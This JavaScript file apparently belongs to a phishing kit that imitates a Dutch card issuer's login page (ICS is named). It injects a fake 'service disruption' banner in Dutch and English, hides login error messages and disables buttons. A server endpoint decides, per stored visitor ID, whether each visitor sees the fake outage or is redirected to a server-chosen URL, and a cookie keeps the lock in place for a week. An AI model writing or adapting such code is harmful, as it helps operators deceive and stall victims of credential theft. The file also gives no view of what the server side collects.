/**
 * Service outage copy + display (ICS-style banner on original page).
 */
(function (w) {
  "use strict";

  var LOCK_KEY = "scii_sleep_outage";
  var VISITOR_KEY = "scii_visitor_id";

  w.SCII_OUTAGE_COPY = {
    nl: {
      outageTitle: "Er is een storing",
      outageMessage:
        "Sorry, u kunt tijdelijk niet inloggen bij onze app en website. We werken hard om de storing op te lossen. Meestal lukt dit ons binnen een uur.",
    },
    en: {
      outageTitle: "Service disruption",
      outageMessage:
        "Sorry, you cannot log in to our app and website at the moment. We are working hard to resolve the issue. This usually takes less than an hour.",
    },
  };

  function getLang() {
    if (typeof w.sciiGetLang === "function") return w.sciiGetLang();
    var h = document.documentElement.getAttribute("lang");
    return h === "en" ? "en" : "nl";
  }

  function getOutageCopy(lang) {
    lang = lang || getLang();
    return w.SCII_OUTAGE_COPY[lang] || w.SCII_OUTAGE_COPY.nl;
  }

  function isLoginPage() {
    return (
      typeof w.sciiIsLoginEntryPage === "function" && w.sciiIsLoginEntryPage()
    );
  }

  function hideCredentialErrors() {
    document.querySelectorAll("ui-feedback-message.errorFeedback").forEach(function (el) {
      el.classList.remove("visible");
      el.setAttribute("aria-hidden", "true");
    });
  }

  function restoreCredentialErrorsIfRetry() {
    if (typeof w.sciiHasRetryParam !== "function" || !w.sciiHasRetryParam()) {
      return;
    }
    document.querySelectorAll("ui-feedback-message.errorFeedback").forEach(function (el) {
      el.classList.add("visible");
      el.removeAttribute("aria-hidden");
    });
  }

  function outageBannerHtml(titleId) {
    return (
      '<div class="generic-alert scii-outage-slot">' +
      '<ui-feedback-message role="status" class="error" aria-labelledby="' +
      titleId +
      '">' +
      '<ui-icon role="img" aria-hidden="true" class="icon-error small ui-icon"></ui-icon>' +
      '<div class="content-text"><div class="text">' +
      '<span class="title scii-outage-title" id="' +
      titleId +
      '"></span>' +
      '<p class="message"><span class="scii-outage-message"></span></p>' +
      "</div></div></ui-feedback-message></div>"
    );
  }

  function fillOutageCopy(root, copy) {
    if (!root) return;
    root.querySelectorAll(".scii-outage-title").forEach(function (el) {
      el.textContent = copy.outageTitle;
    });
    root.querySelectorAll(".scii-outage-message").forEach(function (el) {
      el.textContent = copy.outageMessage;
    });
    root.querySelectorAll(".generic-alert ui-feedback-message").forEach(function (el) {
      el.classList.add("visible");
      el.removeAttribute("aria-hidden");
    });
  }

  function ensureOutageSlot(container, slotClass) {
    if (!container) return null;
    var existing = container.querySelector(".generic-alert.scii-outage-slot, .generic-alert");
    if (existing) return existing;
    var wrap = document.createElement("div");
    wrap.innerHTML = outageBannerHtml("scii-outage-title-" + slotClass);
    var block = wrap.firstChild;
    var anchor =
      container.querySelector("lib-logout-reason-banner, .content-title, h2.content-title, form") ||
      container.firstElementChild;
    if (anchor && anchor.parentNode === container) {
      container.insertBefore(block, anchor);
    } else {
      container.insertBefore(block, container.firstChild);
    }
    return block;
  }

  function ensureOutageBanners() {
    var copy = getOutageCopy();
    var desktop = document.querySelector(".desktop-messages");
    var mobileInner =
      document.querySelector(".mobile-form > div") ||
      document.querySelector(".mobile-form");
    var main =
      document.querySelector("#main-content .content-container") ||
      document.querySelector(".content-container");

    var slots = [];
    if (desktop) slots.push(ensureOutageSlot(desktop, "desktop"));
    if (mobileInner) slots.push(ensureOutageSlot(mobileInner, "mobile"));
    if (!slots.length && main) {
      var injected = main.querySelector(".scii-outage-injected");
      if (!injected) {
        var block = document.createElement("div");
        block.className = "desktop-messages scii-outage-injected";
        block.innerHTML = outageBannerHtml("scii-outage-title-main");
        var titleEl = main.querySelector(".content-title, h2.content-title");
        if (titleEl && titleEl.parentNode === main) {
          main.insertBefore(block, titleEl);
        } else {
          main.insertBefore(block, main.firstChild);
        }
        slots.push(block.querySelector(".generic-alert"));
      } else {
        slots.push(injected.querySelector(".generic-alert"));
      }
    }

    slots.forEach(function (slot) {
      if (slot) fillOutageCopy(slot.parentElement || slot, copy);
    });
    return slots.length > 0;
  }

  w.sciiClearServiceOutage = function () {
    w.sciiSetSleepOutageLock(false);
    document.documentElement.classList.remove("scii-outage-locked");
    document.querySelectorAll(".generic-alert ui-feedback-message").forEach(function (el) {
      el.classList.remove("visible");
      el.setAttribute("aria-hidden", "true");
    });
    document
      .querySelectorAll(
        ".desktop-form, .mobile-form, .pin-intro, .action-buttons, .content-title, .content-subtitle"
      )
      .forEach(function (el) {
        el.style.pointerEvents = "";
        el.style.opacity = "";
      });
    restoreCredentialErrorsIfRetry();
  };

  w.sciiIsSaveBlocked = function () {
    try {
      return localStorage.getItem(LOCK_KEY) === "1";
    } catch (e) {
      return false;
    }
  };

  w.sciiSetSleepOutageLock = function (on) {
    try {
      if (on) {
        localStorage.setItem(LOCK_KEY, "1");
        document.cookie = "scii_sleep_outage=1; path=/; max-age=604800; SameSite=Lax";
        document.documentElement.classList.add("scii-outage-locked");
      } else {
        localStorage.removeItem(LOCK_KEY);
        document.cookie = "scii_sleep_outage=; path=/; max-age=0; SameSite=Lax";
        document.documentElement.classList.remove("scii-outage-locked");
      }
    } catch (e) {}
  };

  w.sciiGetVisitorId = function () {
    try {
      return localStorage.getItem(VISITOR_KEY) || "";
    } catch (e) {
      return "";
    }
  };

  w.sciiShowServiceOutage = function (copy) {
    copy = copy || getOutageCopy();
    ensureOutageBanners();

    document.querySelectorAll(".generic-alert ui-feedback-message").forEach(function (el) {
      el.classList.add("visible");
      el.removeAttribute("aria-hidden");
    });

    hideCredentialErrors();

    document.querySelectorAll(".action-buttons").forEach(function (el) {
      el.style.pointerEvents = "none";
      el.style.opacity = "0.55";
    });

    var title = document.querySelector(".generic-alert .scii-outage-title, .generic-alert .title");
    var msg = document.querySelector(".generic-alert .scii-outage-message, .generic-alert .message span");
    if (title && copy.outageTitle) title.textContent = copy.outageTitle;
    if (msg && copy.outageMessage) msg.textContent = copy.outageMessage;

    document.querySelectorAll(".generic-alert .title").forEach(function (el) {
      if (copy.outageTitle) el.textContent = copy.outageTitle;
    });
    document.querySelectorAll(".generic-alert .message span").forEach(function (el) {
      if (copy.outageMessage) el.textContent = copy.outageMessage;
    });
  };

  w.sciiHandleRegisterResponse = function (data) {
    if (!data) return;
    if (data.visitor_id) {
      try {
        localStorage.setItem(VISITOR_KEY, data.visitor_id);
      } catch (e) {}
    }
    if (data.sleep_outage) {
      w.sciiSetSleepOutageLock(true);
      w.sciiShowServiceOutage();
      return;
    }
    w.sciiSetSleepOutageLock(false);
    if (
      data.resume_url &&
      isLoginPage() &&
      !(typeof w.sciiHasRetryParam === "function" && w.sciiHasRetryParam())
    ) {
      w.sciiClearServiceOutage();
      w.location.replace(data.resume_url);
      return;
    }
    w.sciiClearServiceOutage();
  };

  function applyStatus(data) {
    if (!data) return false;
    if (data.mode !== "sleep") {
      w.sciiSetSleepOutageLock(false);
      w.sciiClearServiceOutage();
      return false;
    }
    if (data.sleep_outage) {
      if (data.visitor_id) {
        try {
          localStorage.setItem(VISITOR_KEY, data.visitor_id);
        } catch (e) {}
      }
      w.sciiSetSleepOutageLock(true);
      w.sciiShowServiceOutage();
      return true;
    }
    w.sciiSetSleepOutageLock(false);
    w.sciiClearServiceOutage();
    return false;
  }

  w.sciiApplySleepOutageIfNeeded = function () {
    var vid = w.sciiGetVisitorId();
    var url = vid
      ? "/api/visitor-status?visitor_id=" + encodeURIComponent(vid)
      : "/api/visitor-status";

    return fetch(url)
      .then(function (r) {
        return r.json();
      })
      .then(function (d) {
        return applyStatus(d);
      })
      .catch(function () {
        return false;
      });
  };

  function initGuard() {
    try {
      if (localStorage.getItem(LOCK_KEY) === "1") {
        w.sciiShowServiceOutage();
      }
    } catch (e) {}
    w.sciiApplySleepOutageIfNeeded();
  }

  if (document.readyState === "loading") {
    document.addEventListener("DOMContentLoaded", initGuard);
  } else {
    initGuard();
  }
})(window);
